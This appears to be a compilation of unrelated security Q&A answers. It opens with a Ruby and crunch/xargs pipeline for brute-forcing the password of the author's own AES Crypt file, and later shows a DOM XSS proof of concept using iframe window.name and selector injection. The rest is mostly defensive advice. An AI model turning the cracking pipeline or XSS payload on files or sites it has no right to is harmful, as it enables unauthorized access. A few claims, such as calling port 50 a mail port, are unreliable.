  (1..(length || collection.length)).
    flat_map {|qty| collection.permutation(qty).to_a }
end

def prefixer
  permute(PREFIX, 3).each do |prf|
    yield prf
  end
end

def optionaler(pfx, j, s, cap = false)
  permute(OPTIONAL, 3).each do |opt|
    opt = opt.map(&:capitalize) if cap
    CONJUNCTION.each do |cj|
      puts [pfx.join(j), cj, opt.join(j)].compact.join(j) + s
    end
  end
end

SUFFIX.each do |s|
  JOINERS.each do |j|
    prefixer do |prf|
      puts prf.join(j) + s
      optionaler(prf, j, s)

      prf = prf.map(&:capitalize)
      puts prf.join(j) + s
      optionaler(prf, j, s, true)
    end
  end
end

I ran this script and the output gave me just shy of 500,000 entries. I then used my FishShell to iterate over each of those and try the password.

for password in (ruby script.rb)
  aescrypt -d -p $password encrypted_file.aes 2>/dev/null
end

None of those worked so I have to switch to brute force… which means I may never get it open.

So I learned how to use crunch as per Matthew's suggestion and in combination with xargs it's pretty awesome!

Since I'm running a shell command each time, which attempts to decrypt a file, I though disk drive IO might be a performance consideration so I've created a tmpfs file system folder to put the file in and operate everything from within RAM.

mkdir tmpfs
sudo mount -t tmpfs -o size=800M,mode=0755 tmpfs tmpfs/
cp encrypted_file.aes tmpfs/
cd tmpfs

And here's the first command I worked out.

crunch 3 26 abcdefhilmnoprstuvwyz0123456789\ -_. -d 1@ --stdout | \
xargs -r -P 4 -I PASSWORD bash -c \
"! aescrypt -d -p 'PASSWORD' encrypted_file.aes 2>/dev/null"

Here are the parts.  crunch generates all possibilities of the following parameters.  The first number is the minimum amount of characters, the next is the maximum.  After that is a character list to use for every attempt.  I've excluded characters which I'm certain aren't in it so the character list is shorter and the process will get done much more quickly.  Next I have -d 1@ which tells crunch that no two of the same characters will be next to each other.

Then I pipe it to xargs which is a nice tool generally used for streamed input data to be passed as a parameter to the following command/argument.  But in this case we're piping it in to a particular place with the -I option which determines which text to replace.  The -r option says not to run with empty input.  The -P 4 tells it to run 4 instances in parallel with four different parameters passed in (this takes advantage of all 4 cores on my system).  Using 4 cores instead of 1 shaves off about 60% of the cost in time.

Next I execute aescrypt via a bash command bash -c and the PASSWORD area is substituted with every individual input passed in.  The reason I start this with a bang (!) is because when aescrypt doesn't successfully decrypt a file it writes to STDERR and gives a failing exit status which will stop the entire command immediately.  The bang flips the result so that on every failure it will keep running but when the file finally gets decrypted it will negate the positive response and exit the loop because our work is done.

Notes

I realize this isn't the most performant way to go about it but I'm giving a good stab at it.  I'll provide some additional performance observances I've seen.

When using the xargs parallel parameter it doesn't matter how high you go you will still get the same performance as the number of cores you have.  But if you run multiple shells with xargs each asking for more cores than you have then you will slow down the performance of all of them as if you only had 1 core.

Since one of my best guesses is that the password ends in .tar.gz I split the task in half by changing the command above to use two cores and shortening the character list for the second command to not include gz or any numbers (because if the extension exists the numbers won't exist for this password) and I've substituted 'PASSWORD' to 'PASSWORD.tar.gz'.  The second command I also gave 2 parallel processes.

Because I was flying blind and I wondered what the progress was I looked into how to read what's going through pipes.  First you can get the PID for each crunch instance with pidof crunch.  Once you have that you can watch what's streaming through each individual PID with:

sudo strace -pPID_NUM_HERE -s99999 -e write

From here I could write down the progress, stop a crunch process, and restart the crunch command where I left off by adding a -s option for a start point.

Towards Better Performance

At two character passwords I get about 35 passwords tried per second, at 3 character passwords I get about 12 passwords tried per second.  Tested by putting time -v --output=somefile before the command above.  It's not fast.

I realize that using pipes, xargs, and bash to run these commands each have their own costs involved and it would be much more expedient for me to write an implementation in Rust to do exactly what's being done above.  I'll need to take the source code for AES Crypt and link the library in to Rust to call the C code directly.  And either do the same for crunch or just implement the parts I need by hand (the latter is probably better).

It will definitely be more performant if I take out all of the middleware shell stuff and just run pure Rust.  Heck if I could take advantage of my GPU that would be cool to.  But there's a bit of a learning curve for me to get there.

I hope this information has been useful for others.  Feel free to share answers just as enlightening as this one.  Thanks!

UPDATE

Ori asked if I had tested if a happy path would work as expected.  Turns out I didn't account for that in either case.  I've got an updated version of the FishShell script here which works with a happy path.

for password in (ruby script.rb)
  if test -s the_file
    break
  else
    aescrypt -d -p $password the_file.aes 2>/dev/null
  end
end

The test -s tests to see whether the file the_file is blank or not.  aescrypt will write an empty file of the same file name being decrypted without the .aes extension in the same directory.  It uses the same name for a successful decryption as well.  This should be taken into account in all scenarios.

Alright the new updated crunch and xargs code that will work is:

crunch 3 26 abcdefhilmnoprstuvwyz0123456789\ -_. -d 1@ --stdout | \
xargs -r -P 4 -I PASSWORD bash -c \
"! aescrypt -d -p 'PASSWORD' -o 'PASSWORD' encrypted_file.aes \
2>/dev/null; if [[ -s \"PASSWORD\" ]]; then exit 255; fi"

This names the output file whatever the current password is and if the file's not empty it exits for success.  I have tested this with an example and it works!

Hopefully I'll get my file decrypted now.

Update 9/22/2017: Program Written

I've written a multi-threaded AES file brute force decryption software called abrute.  You need to have aescrypt in the systems executable path for it to work.


Put a challenge-response-system in the code - the server sends "12345", the client answers with "SHA256(12345+any-secret-key)". If the server knows the "secret key", it can check the hash.

That would stop people just sniffing the network data, but the app might still get decompiled.

If you want the app to send data, you need to make a "login" first - send a request, get a challenge "12345", compute the hash, send the hash and you are logged in and can continue.


What are proper methods to automatically detect malware and are current methods reliable?

Going back to a security in layers approach, there is no one magic bullet. Good detection / protection involves the use of multiple systems working together.

For Detection:

Start with good AV software (av-comparitives.org) and then add end-point protection (e.g., Carbon Black, Sophos, F-Secure...) top it off with some network monitoring (e.g., Splunk, BTB's RADAR, AlienVault...)

For Protection

Client-side firewall (for when not on the corporate network)
Corporate firewall with proper egress and content filtering. Next-gen firewalls like Palo Alto can do deep packet inspection but they get pricey.

And as always... good security awareness training programs to educate your weakest link (the user) ;-)


Avoid brute force attacks on oAuth authorization server

You design the code to be unrealistically guessable.
You can also rate limit by IP address.

Then you have a well hardened service. Really just stick with number 1 though. It’s much better than rate limiting.

If you use a cryptographic number generator to create 128 bits of random data, and base 64 encode that, then use that as your code. The probability of guessing that 128 bit string is u likely in the next decade with a bunch of computers working on it full time.


iptables -N spoofing
iptables -I spoofing -j LOG --log-prefix "Spoofed source IP"
iptables -I spoofing -j DROP

iptables -A INPUT -s 255.0.0.0/8 -j spoofing
iptables -A INPUT -s 0.0.0.8/8 -j spoofing

This saves you duplicating the log and drop rules over and over and over again.

You can't stop bad guys from spoofing.  A spoof'ed ip can not perform a 3 way handshake as required by TCP, but UDP has no such restriction.  Also if the hacker spoofs your IP and sends it to google.com or etc they will attempt to connect to your IP thinking you tried to connect to them.

Some ISP are now restricting this kind of thing, but many still don't.


I can see how it is considered a good practice to have upon changing authentication settings (Change password/Setup 2FA etc.) to close all of the sessions, but I don't see any real world security benefits from that.

I think that it's more important to make sure that Logout works for all sessions not just the one involved. This is meant as a close all sessions mechanism and should work accordingly.


How to secure my REST implementation for an ember.js app

Ultimately, you should not expose API keys to the client, if those API keys can be used to make authorized transactions against the REST API that the client would not otherwise be allowed to make.   Think of it this way, if you needed an administrative username and password to access the REST APIs, would you be willing to put that username and password into the JavaScript that you send to the client?  No, because you'd be making everyone who visits your website an administrator.  The API Keys that allow administrative functions to be performed are exactly the same.

So, if the keys need to be kept secret, keep them secret.  They need to live on the server, and the server needs to make the requests to the backend system using the keys, and then the server can turn around and serve the results of the API responses back to the client, sans keys.


Is there any way to encrypt form data header values which can be seen in network resources?

What you are seeing is your brower's view of the data. Of course it needs to see this data because it needs to process it. Encrypting it so that the browser cannot see it does not make sense.

When it gets transmitted, it goes over a TLS connection which encrypts everything, so no one can see the contents.

For your project, you can do the same thing. If you are concerned, you might be able to obfuscate the data, like encoding it, but ultimately, if someone has access to the user's browser, then they can see everything anyway.


Can location apps locate a lost phone if someone switches out the SIM card?

Phone location apps use the Internet. They couldn't care less if they're accessing it through a different mobile internet contract (different SIM), or Wi-Fi, or even Ethernet.

The only issue could be that if the phone is locked with a passcode, and the new SIM was locked with a PIN, and the phone needed to be unlocked before allowing the user to enter the PIN. So after the SIM swap the phone has no way of connecting because the SIM is locked, and at the same time the thief has no way to unlock the SIM (even if he knows its PIN code) because he doesn't know the phone's passcode, so he can't reach the SIM unlock prompt.

Most likely though, the thief wasn't a complete idiot and reinstalled the phone right away, wiping any apps that could report its location to you.


Why is disabling root necessary for security?

If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to.

Root is a giant target. What's root's username? Root! I'm so smart :)
Logging. Sudo has a greater command of audit logging (so that when someone uses sudo to do something silly, you can tattle on them to the central logging server). This is helpful for forensic analysis in some cases.
Granular permissions. Root is a Big Flippin' Hammer. Do not hand BFHs to your users. Sudo allows you to specify that a user can run update commands like aptitude without password, but everything is off limits! You can't do that with the BFH that is root. IT allows you the flexibility of sanctioning certain commands for users, but disallowing others. This allows you to build a security policy that does not require an administrator to physically log in to a machine every time a machine needs to be updated (or another menial task).
Idiot-proofing. Why do you not hand users a BFH? Because they're dumb. Why do I use sudo instead of root? I'm dumb. Dumb means mistakes, and mistakes mean security holes and sysadmin-issues.


How to determine if a google photos file transfer is really encrypted

To be certain that the data is sent encrypted, you could decrypt it.

This requires you to either have access to the decryption keys, or to install a certificate and perform a Man-In-The-Middle (MITM) attack on your own device.

Let's assume that you have full control of the device from which the pictures are sent.

The first approach is to inspect the encryption keys while they're being used. This is not as easy as it sounds, encryption software is written to destroy keys as soon as possible. (There's probably some software for this type of inspection, but I don't have experience with this approach, so I can't say how effective it will be.)
The second approach is to use a packet sniffer, and allow it to install a certificate. WireShark has an option for this.
What happens is that the client performs a key exchange with the packet sniffer, and the packet sniffer performs a key exchange with the server. The packet sniffer sits between the client and the server (hence the name "man in the middle" attack). It decrypts what the client sends, then encrypts it again for use with the server.
Note that this is only possible because you installed a certificate and told your computer to trust it. You have effectively lowered your security a bit.


How do you discover what permissions an AD group has, if you have no documentation?

Let me preface what will probably be a longish answer with "There is no simple solution".
Solving this will take some strategic work (which is why I recommended not moving this to SF).

Now I will explain why.

Windows, at its core, is mostly based on the DAC model of access control.
Everything in the OS is securable with an ACL - files, folders, registry, named pipes, sockets, shares, etc etc.

Using AD groups allows you to abstract that into an RBAC-type model, but internally it's still a DAC model. (What I mean is, you can create an ACE (access control entry) for a group (i.e. role), but you're still creating an ACE - and that is what will be verified on access).

Emphasis on "mostly".
There are a few distinct exceptions to this:

There is some implementation of MAC - i.e. Integrity Levels (in Vista/7/2008).
However, this is usually and internal OS protection mechanism, and is usually not leveraged for real access control (other than the built-in UAC). Usually.
OS-level privileges. (Though it is possible to specify a specific user to grant these privileges to, it is intended - and functions as - a RBAC model).

But wait, that's just in the OS itself...
Windows, as a platform, allows and encourages applications (3rd party, MS products, and OS addons) to use AD group membership as an RBAC mechanism:

3rd party applications can verify group membership via a simple AD/LDAP lookup - these apps might be storing the group name and resolving on that, or saving the group's SID and querying directly for that.
Don't forget SQL Server - this is mainly based on (several different types of) roles, however best practice is usually recommended to add AD groups to these roles, and not the users directly.
As long as we're at it, COM+ also manages access by RBAC, but again best practice is to add groups, not users, to COM+ roles.
Sharepoint also manages access to sites according to roles / groups / and mailing lists...

Starting to see my point?
I don't want to say it's hopeless, BUT...

To recap:
In order to find the definitive list of permissions a specific group has, you (or a tool) would need to recursively check ALL of the following (and, dont forget to recurse on group  membership, too):

For each server in your org:

recursively check ACL on all folders and files
recursively check SACL on all folders and files  (system access control lists - these control auditing)
recursively check owner on all folders and files
recursively check ACL, SACL, and owner on all registry keys
recursively check ACL, SACL, and owner on all named pipes, processes and threads, services, jobs, etc.
Check all OS level privileges (though it is possible this can be made easier using GPOs...)
Check all COM+ roles, MSMQ roles, etc.

For each domain in your AD:

Check all domain-level privileges
check all GPOs (group policy objects)

For each database server:

Check all server roles
check all database roles
check all application roles (in MSSQL)

For each Sharepoint portal:

check all server-level roles and privileges
check all site-level and list-level roles and privileges

For each 3rd party application:

Check any use of AD groups
verify how the app uses these roles:
-> Group name vs. DN vs. group SID vs. ... e.g. group GUID
-> does the app explictly check direct role membership, or does it use the "smarter" recursive methods?
Note that this applies both to 3rd party packaged products and platforms (e.g. Oracle, SAP, MQSeries, WebSphere... ), and to custom developed business apps.

Is this complete?
Sadly, no. For example I didnt include reviewing all desktops in the org, since those shouldnt have specific AD-group level permissions set on them (except for e.g. Administrators and HelpDesk) - but note that they often do.
But this is not a complete list...

This is the big disadvantage to using a DAC model - the "D" could just as well have been for "Distributed", since there is not central place to look up all these ACLs.
As I noted in What is the difference between RBAC and DAC/ACL?:

  DAC definitions are typically attached to the data/resource, whereas RBAC is usually defined in two places: in code/configuration/metadata (the roles access), and on the user object (or table - the roles each user has).

Now, a little about solutions:

There are several tools to collect different parts of the above lists, e.g. @Ian's answer using powershell scripts to collect folder ACLs. There are many other tools for that (I've been known to use CACLS in the past), some are noted here.
For requesting a tool/script for a specific part of the list, you might get better ideas at ServerFault.  However take into account that it's only one part of the list.
There are "role management" and "role discovery" products out there, from some of the big vendors, usually in the Identity Management space - I cant specifically recommend one, but worth looking into: CA (formerly Eurekify which was a decent (though not complete) tool), IBM, Oracle.
Of course there are others, and I would lean heavily towards finding best-of-breed smaller vendors, even from a startup (okay, maybe I am biased ;) ). I mean, from those that havent been bought out by the bigger vendors.
You could (and probably should, though this is far from trivial) start the process of mapping out the organization, business requirements, and such - aiming for what privileges they should get, and not just what the status quo is right now.  Some of the tools mentioned in the previous point could help here.
If the previous roles analysis and modeling goes well, consider going for a full-blown IdM/IAM/EAM solution. Again, my comments wrt vendors still stands.
In any event, aim towards minimizing the distribution of ACLs all over the place, and push for minimal RBAC, centralized as much as possible.

And, a final word of warning to those who are lucky enough to be before the unpleasant situation you currently find yourself in:
Definitely look into a centralized authorization platform, such as IdM/IAM/EAM products. (Note that some are much better than others, and some wouldn't even solve this situation either.)

tl;dr: You are rightly and truly screwed. See above. ;)
(but all hope is not lost...)


Best practice regarding activation mail request to reduce information leaks

Edit 2017.03.17

We have implemented a new solution. No matter the output, we will display the following message:

If you are registered, you will soon receive an email.

However, the email sent will depend on the output:

If the account is not active, we will be sending the activation link.
If the account is already active, we will be sending an email saying that the account is already active and explaining the "password forgotten" procedure.

This solution seems to be the most appropriate in our situation. If you have any other suggestions, please submit.


Nmap does its scanning in phases, with each phase feeding into the next one. When you do nmap -sV example.com, Nmap performs 7 scan phases. The ones you are asking about are 4 and 5 below:

Target enumeration. Nmap resolves the name example.com to some IP address like 192.0.2.33.
Host discovery. Nmap sends some probes like ICMP Echo Request, TCP SYN to port 443, TCP ACK to port 80, etc. If any of them get a response, the host is "up" and scanning continues.
Reverse-DNS resolution. Nmap sends a DNS PTR query for the IP address to see if a name is associated with it.
Port scanning. You didn't request a particular port scan type, so the default is TCP SYN scan (-sS) if you have privileges, or TCP Connect scan (-sT) if not.
Version detection. This is the "banner grab" that you requested with -sV, though it is much more complex than that.
Script scanning. When you do -sV, some NSE scripts may run to do further version detection. This is the same as specifying --script version
Output. The results are printed after all scan phases are done.

So you can see that there is no difference in port scanning between -sS and -sV, but in fact the exact same port scan is done for both. Optimizing the scan can be done with the -T timing template options or any of the more fine-grained controls.

You can also speed up your scan by eliminating unused scan phases. Host discovery can be skipped with -Pn if you know the target is up. Reverse-DNS can be skipped with -n. Port scanning can be altered with -p or --top-ports to scan more (slower) or fewer (faster) ports. You can eliminate the NSE script scanning part of version detection by adding --script-args script-intensity=0


In general, this is impossible.  Anything your users can access, they can create an insecure copy of.

That said, this is a problem that people have tried to solve before, and they have come up with some partially effective methods (see iBook or Amazon Kindle, as vcsjones suggested in a comment).  These methods rely in part on punishing violators, so that copying the document, while nowhere near impossible, is difficult and unappealing.


I can see some slight differences.

Encryption engine is just processor (mathematical engine) which takes the data and encrypts/decrypts/hashes them using some keys and given algorithms.

Key server can be a separate server so called Key Vault where encryption keys or other secrets can be stored.

Key manager, form my point of view, is component of key server. Its role is to control access to keys and manage their lifecycle. Both components can be separated so keys can be stored on a different server than where the Key manager is running on.

If keys should be really secure it is good practice to have all these 3 components in single, physically protected box which ensures the keys will never leave the box and will be used just inside for the data encryption/decryption. These boxes are so called Hardware Security Modules (HSM).


What are the privacy advantages of a DNS encryption service such as DNScrypt?

The only advantage of dnscrypt I can see is that nobody can sniff my
  DNS traffic (I am using a VPN anyway) and man-in-the-middle attack
  (MITM) not possible.

DNSCrypt aims to protect your DNS traffic from not just 'sniffing' (passive) attacks but more importantly active attacks - where the attacker changes the DNS response and maybe point it to the attackers server.

You say MitM is not possible. But it depends where in the process you think you are at at risk. Yes the VPN tunnel is protected (assuming the client is configured to route DNS through the VPN and not the default gateway). In that case you may be correct in assuming you are safe enough for your needs. Remember though the VPN terminator will (in this example) query the DNS for you, so maybe that could be a point of weakness.

  risks of DNScrypt?

Risks, biggest is whether you trust installing software on your clients. Whether you trust the software to actually do what it claims. Is the risk of DNS interception worse than the possibility of the software installed causing some adverse effect on your OS?

  Does the DNS operator cryptostorm.is see my DNS traffic?

I do not know anything about this service, but if any service you use terminates at the service provider you have to assume they can (probably will) record the traffic in which terminates. Therefore if the DNS connection to them terminates there and they use a resolver then they will know what it is you looked up via DNS.


HIPAA data encryption - Is database level encryption is enough?

For HIPAA, there are two types of encryption you want to consider:

Transport Encryption - This is where communications that contain sensitive data is encrypted so the raw data cannot be intercepted. A popular example of this is SSL and HTTPS.
At-Rest Encryption - This is where your sensitive information is encrypted on a storage device. Your example with encrypted databases counts as this.

Your Transparent Data Encryption should suffice for at-rest data, but it does nothing to encrypt your communications - make sure you have something in place for that too. Merely sending the data encrypted over unencrypted communications (such as HTTP or FTP) isn't enough, as the structure of these communications can still be read, the encrypted data can still be pulled out, and if the attacker extracts a competed set of data, they can begin cracking it with their own local resources. Encrypted transport sending encrypted data will make this task much harder.


This Reddit thread reports "Windows XP through 8 have all reported infections." I suppose it's possible that Win2k and earlier may not be affected - a search through the top 500 comments in that thread has no mention of Windows 2000, and only a single post on BleepingComputer alludes to a Win2k machine. (As an aside for other readers, Windows 2000 has been end of life since July 13, 2010 - so there have been no security patches for 3 years now.)
Assuming you can't run a prevention tool on your servers, and you can't change the access controls, then prevention is very difficult. However, you can mitigate very easily by modifying your existing server backup policies (you do have backups, right?) Extend the backup retention period, increase backup frequency, and increase full snapshot frequency. That way, even if you do get an infection, the damage is limited to any changes made since the most recent snapshot.


Is it allowed to store billing address for merchants SAQ A merchants? (PCI DSS)

The PCI DSS concerns itself with the following pieces of data:

Except insofar as it might include Customer Name, billing address is not PCI protected data, and there are no PCI requirements around storage, encryption, or lack thereof.  Instead, that data is PII, and should be protected in line with whatever PII standards apply to your locality.


All of these configurations should be default from your distribution and most of them don't have a security impact if read.  If an attacker could modify .bashrc then they could pull off a sudo hijack,  but just being able to read the .bashrc isn't a problem.

Sometimes the .bash_history file will contain passwords.  Sometimes passwords are an argument to a command or a user will accidentally type their password into the shell.   The .keychain and .ssh folders may also contain sensitive information related to authentication.  .mozilla contains firefox's cache and may contain personal information.


What effect on internet crime did the more recent developments in encryption have?

Largest development in cryptography (at least breaking it) would be specialized hardware, there are countless examples of hardware specifically designed to test hashes at a speed that is unattainable with general-use hardware including variations designed to calculate bcrypt hashes, which ironically was created to beat specialized hardware in the first place.

Specialized hardware is the reason that we cannot rely on password hashing techniques that don't require a significant work factor to calculate using as many resources as possible in a way that doesn't promote parallelism.  The newest up and coming password hashing technique is scrypt, which heavily uses RAM and many randomly placed accesses to large arrays of random information which is by far the toughest resource to run in parallel.

As hardware becomes faster still and the cost of hardware becoming less of a barrier with the advent of renting specialized hardware for a cheap fee, I suspect that the future of password hashing will only become more dependent on counteracting the specialized resources of adversaries while still providing an hashing technique that doesn't put a toll on general-use server hardware.


Best way to store/retrieve sensitive key files?

I know I'm late on this one, but might benefit someone else facing this problem now.

You could do the following:
- Put a master key in the database
- Checkin the actual key in code repo, but encrypted by the master key.  This checked in key could be in a password protected file.

A few months ago AWS has come up with a new service called KMS (key management service).  They take care of managing the actual key and its master key in a secure and compliant manner.


Have a look at tshark.

It's like wireshark, but then for commandline. Just install it with apt-get.

A tutorial on how to use it can be found here. You can easily filter for http with it.

To capture http traffic:

tshark -R "tcp.port == 80" -r /tmp/capture.cap

If port 80 is your http port. If you don't know the port just capture everything and you can later filter it for http. Filtering for http while capturing is not possible.


This page is taking input from an untrusted source, and directly outputs it in the browser as HTML.

In this case, the untrusted source is window.name. To the inexperienced programmer, this may seem harmless, but in reality, it can be set to any arbitrary value, because it's derived from the name of the frame:

<iframe
    src="http://www.domxss.com/domxss/01_Basics/05_jquery_html.html?681973661#message"
    name="<script>alert(0)</script>"
></iframe>

In the code you've given, there's another glaring hole: The selector is also taken from an untrusted source (the URL), which allows attackers to output the HTML in whatever place they desire. This doesn't need to be a frame, just visit the following URL:

http://www.domxss.com/domxss/01_Basics/05_jquery_html.html?681973661#whatever],body,[whatever

t is set to "whatever],body,[whatever" (from location.hash), and is used to construct a jQuery selector ("div[id="+t+"]"). Together, it results in a selector that selects (e.g.) the <body> element:

"div[id=whatever],body,[whatever]"

Though not as harmful as window.name, it might be worth fixing.


The IP that is switching MAC address is simply spoofing its MAC address repetively.
If you want to identify the machine spoofing it's mac adress, you could read up on this user suggestion :
https://stackoverflow.com/questions/9546228/how-to-detect-the-original-mac-address-after-it-has-been-spoofed


Is it a coincidence that I received phishing emails for PayPal after I made a large deposit?

I don't think that they specifically targeting your account. PayPal phishing is actually common place. If you did not receive any before you might have just been lucky that your email was not publicly known yet or did not make it to the ones which send these phishing mails.

It might also be that your spam filter hid previous PayPal phishing mails from you. Many of today's spam filters actually automatically adapt to the kind of mails you consider spam or non-spam and having many non-spam mails with "PayPal" in it might have caused the spam filter to consider the phishing mails with a similar content now as relevant to you too.


How to defend against a virus that hides the payload by encrypting it?

From my understanding this question narrows down a more general question to a very specific single example. The more general question is: how can some analysis system (antivirus etc) detect that some software is malicious if it only behaves malicious in a specific environment, with specific input data etc. This can be a password protected archive where the password is known to the user (like contained as text in the phishing mail), this can be code encrypted with a password which needs to be entered by the user, this can be the dependency on a specific OS, installed software or similar.

The answer in all these cases is: no analysis software can detect for sure that the analyzed software can be malicious. At most it might employ some heuristics which detects pattern typically associated with such behavior, like checking the specific OS and browser version or installed software, using data entered by the user for operations which might look like decryption etc. But these heuristics are not fully reliable, i.e. they might detect problems where no malicious behavior is and they will miss a lot of real problems.

Therefore such analysis can only be one part of the protection. Further parts might be to detect unusual system behavior, downloads from sites with bad reputation or only allowing whitelisted software to run.


Can a mobile phone battery contain malware?

Pretty much paralleling what the other two responses have said;  Firmware based malicious code has been proven countless times.  From a theoretical standpoint, it is possible that there is some sort of malware contained w/in the smart battery's firmware.

In the reality of the situation the much easier target is the phone itself.  Those who are in the business of creating malware will, almost unequivocally take the easiest path to their end goal.  This means that unless you are specifically targeted for some reason and attacking the phone is for some reason a poor option, this might be a possibility.

Unless it is a targeted attack, the "bad guys" want to get the most out of their work.  This means they will target the most users in the easiest way that they can figure out.

So, while not saying this is impossible, it is improbable, based mostly on the design of the vast majority of attacking schemes.

I have one additional question:  Is there a specific reason for you to suspect that your phone is infected with some sort of malware?  If so what is that reason?  In that case, what lead you to suspect your battery as the source?

P.S. If you happen to be a high-ranking member of a government or something to that nature, this evaluation may need to be revised, haha.


Smb uses two main authentication schemes:

ntlm - a challenge response protocol sending a salted hash
kerberos - a centralized authentication protocol using a salted hash as the encryption mechanism.

In both cases you cant extract a plain nt hash from the traffic, but you can bruteforce it as the challenge is supplied.


Android phone's lockscreen PIN disappeared?

Sorry to sound cynical, but if your phone moved in the night and you didn't have signs of a break in, and only you and your partner are in the building and know your pin.. if your lockscreen pin mysteriously got disabled, and you are getting unsolicited 2FA calls..
MOST PARANOID SCENARIO your partner probably moved the phone in the night, disabled the lockscreen pin, probably has location tracking and keylogging software installed to the phone. If this is the case, can you think of any reason why your partner might want to snoop on whatever you have on the phone? Have you been particularly aloof, or behaving in a way might make your partner think you were acting suspiciously?
ALTERNATIVE PARANOID SCENARIO your phone has been hacked by script kiddies who are managing to trigger 2FA calls and do sloppy stuff like removing your lockscreen pin. Or perhaps someone has managed to get the login details for your gmail account associated with the phone. You might be able to see a history of where you have been logged in from, when, and on what devices. You can change your password and logout of any unrecognised devices.
NON PARANOID SCENARIO The knock by complete chance somehow changed your lockscreen setting, you moved the phone yourself and forgot, nobody has hacked your phone, and your partner is innocent!


Which PCI SAQ would you say to use if you are neither a merchant nor service provider?

SAQ A is the most applicable, which is defined as " Card-not-present Merchants, All Cardholder Data Functions Outsource".

In all honesty, they can sign their name to any of the SAQs because without storing, processing, or transmitting cardholder data, they are meeting every point on the DSS. If I were them I would sign an SAQ D (which is the full DSS) because it looks better.

A better approach for them would be to show how the device that they place in the Cardholder Data Environment (CDE) is compliant with the PCI DSS.


Possible to execute a non-persistent XSS attack without using the url/query string?

Any time an application is building HTML from attacker controlled input it becomes a vector for XSS.  For instance HTML5/JS applications on the Tizen and WebOS platforms can be subject to XSS via any number of vectors including Bluetooth, e-mail, Malicious NFC tags, and just about anything else you could imagine.  Because JavaScript is building the HTML this falls under the bigger category of DOM Based XSS.

As a participant in the Google Bug Bounty Program I found XSS in Google Music by uploading an mp3 file with JavaScript in the ID3 tags.  The application was displaying the Album name and Band name on the page,  and that was enough.


...because what's going on is that you're compromising your own system. If you read the Old/New Thing blog, the author calls it "being on the other side of an airtight hatchway".

It's like asking what's preventing people from entering your house - all your friends would ask "yes, but you lock your doors, don't you?"; you can "break into" your own house trivially - you already have the key. Breaking into someone else's house is pretty difficult if, y'know, they never give you the key...


Where can I find a feed of actual spam emails?

These are hard to get.  Generally, you need to create and curate your own spam trap (hard!) or else get data from some existing spam trap.  There are resources for this.  See the following highly related questions:

 Brainstorm: How to quickly create a honeypot for mass spam?
 Publicly Available Spam Filter Training Set
 Spear phishing data set
 Databases with spam, phishing email examples (an extended version of this answer)


Is VPN a likely access point through which to deploy a ransomware payload?

You're over thinking how the server got infected. Instead of jumping to remote desktops or VPNs, look at what currently is open on it.

By your own admission, it has open ports and is NAT'd to the outside world, are you sure that it is patched and updated? If it doesn't run mail, why is port 50 open on it? That is a remote mail checking port. Why is SSH open on the server as well?


Hardening Linux desktop machine against people from my household

Use a strong and difficult password for the root user. Secondly, always login and work from another user with no administrative rights (and also a strong password).

Enable the BIOS password option. Every time you power on your computer, the BIOS itself will ask you for a password before even booting on. It will also prevent everyone from applying changes to the BIOS setup.

Encrypt every partition of your hard drive (check cryptsetup for Debian - if it can't encrypt you Windows partition, too, use TrueCrypt (from Windows for your Windows))

Watch out for external hardware devices connected on your PC (like USB sticks or hubs) that you haven't used before. Someone might have plugged in a keylogger or something.

Always lock or power off the machine when you are away.

Software hardening:
Install gufw (GUI for the iptables firewall which is pre-installed) and block incoming traffic. Also install rkhunter and check your system for known rootkits and other threats from time to time.

That's all I can think of right now. If you have any questions feel free to comment below.


Is the BBC’s advice on choosing a password sensible?

My question isn't about the mathematical strength of passwords which obviously will depend on the lyric that is chosen and how one goes about passwordifying it, it is more about the the predictability of the total amount of possible passwords that are likely to pop up using this method.

This is a good question, and I'm going to depart from the norm here, put on my tinfoil hat, and say "no, this is not a good idea." Why? Let's look at it in the context of the Snowden leaks.

Because the GCHQ spies on all traffic on the British internet, and according to the Snowden leaks, your internet traffic is shared with the five eyes. Even if you're using HTTPS, this is a bad idea.

"But Mark Buffalo, you're being a maniac tinfoil hattist again!" Think about it. The time to crack your password was suddenly and significantly reduced. How?

GCHQ takes history of your online searches. They likely know when you signed up for a certain website thanks to XKeyscore.
If they know when you signed up for that website, they'll see you went to Google.com around that time and did a search for song lyrics. Even if you're using HTTPS, the fact that you connected to google.com around that time, and then visited a website that hosts song lyrics, is all they need to begin breaking your password.

Even if they can't view the traffic, they can still see that you connected. Even if you're using HTTPS, this doesn't stop them from hosting lyric websites themselves. This also doesn't stop companies from logging your search results, and it doesn't stop the companies from providing these results to anyone. If they know what kind of songs you like, or don't like, it makes it even easier.

Now they can write an algorithm to crack your passwords much, much easier than brute-forcing every possible combination. Or even better yet, use a ready-made password cracker with a provided dictionary of those results.

But Mark Buffalo, the government isn't monitoring me!

That's all fine and dandy. You generally don't need to worry about them unless you're a criminal. Or you're privacy-conscious. Or you're a security researcher.

There's another important aspect you need to consider, which I think is far worse than the government: advertisement companies, and hackers "But Mark Buffalo, I use NoScript (great) and Ghostery (Ghostery sells your info)!" Most people don't use those. And many people who do, also don't use those tools when they use their smartphone.

There are data trails everywhere, especially if you own a smartphone (android in particular), and there are plenty of evil marketing companies that will sell your data down the river the first chance they get. Or maybe they aren't evil companies, but they get breached by hackers.

Anyone with a "need" could buy that data, and those sophiscated enough could steal it. While this seems like frantic worrying for such a small thing for most people, it gets much worse when you delve into the realm of federal contracting. This is one of the ways security breaches start.

All of the steps listed previously could be done without XKeyscore. They can be done very easily with vast marketing databases.

Stop the tinfoil, Mark.

If I were wearing my tinfoil hat right now, I'd believe this article was made as part of a plan to intentionally weaken standards. I personally believe that weakening standards is a national security risk, especially when federal contractors adopt those weakened standards.

Personally, I would worry more about evil marketing companies and hackers than I would the government. Especially when deliberately-weakened standards are what help potentially-hostile countries gain unauthorized access to critical infrastructure and intellectual property.

But seriously, this makes your password weaker

Now let's talk about numbers, and social engineering.

With a normal brute force of this password, you'd likely need the following characters based on this password policy:

  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=

That's 76 possible characters. With this password method, assuming most people will use 6-7 words to generate the password, and perhaps add 1 symbol - !@#$%^&*() being the most common - plus a number, you'll need to test - for an 8-character password - 1,127,875,251,287,708 combinations to exhaust the password space. This could take an impossibly long time depending on the hashing algorithm and hardware.

